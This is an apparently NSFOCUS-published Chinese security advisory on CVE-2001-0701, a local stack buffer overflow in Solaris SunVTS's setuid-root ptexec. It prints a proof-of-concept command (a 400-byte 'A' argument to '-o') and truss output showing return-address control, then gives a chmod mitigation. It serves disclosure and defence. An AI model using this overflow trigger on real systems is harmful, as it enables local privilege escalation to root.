首页 -> 安全研究

安全研究

安全漏洞
Solaris ptexec 本地缓冲区溢出漏洞

发布日期:2001-06-20
更新日期:2001-07-03

受影响系统:

Sun SunVTS 4.3
Sun SunVTS 4.2
Sun SunVTS 4.1
Sun SunVTS 4.0
   - Sun Solaris 8.0
描述:

BUGTRAQ  ID: 2898
CVE(CAN) ID: CVE-2001-0701

SunVTS是 Sun Validation Test Suite.用来测试OEM的Sun的硬件中的组件,也可以对组件
进行压力测试。

其中包含的一个程序ptexec的"-o"选项存在一个缓冲区溢出漏洞。如果提供一个较长的
参数,可能导致堆栈内存被覆盖,包括返回地址。由于缺省ptexec被设置了setuid root
属性。本地用户可以获取root权限。

<*来源:Pablo Sor (psor@afip.gov.ar) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Pablo Sor (psor@afip.gov.ar)提供了如下测试步骤:

# uname -a
SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10

# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)

# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`

execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54)  argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780)     = 0
open("/var/ld/ld.config", O_RDONLY)             Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY)       = 3
fstat(3, 0xFFBEF518)                            = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000

[.....]

sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000)      = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
    Incurred fault #6, FLTBOUNDS  %pc = 0xFF139FF0
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
        *** process killed ***



建议:

临时解决方法:

去掉ptexec的suid属性:
# chmod a-s /opt/SUNWvts/bin/ptexec

厂商补丁:

暂无



浏览次数:3807
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障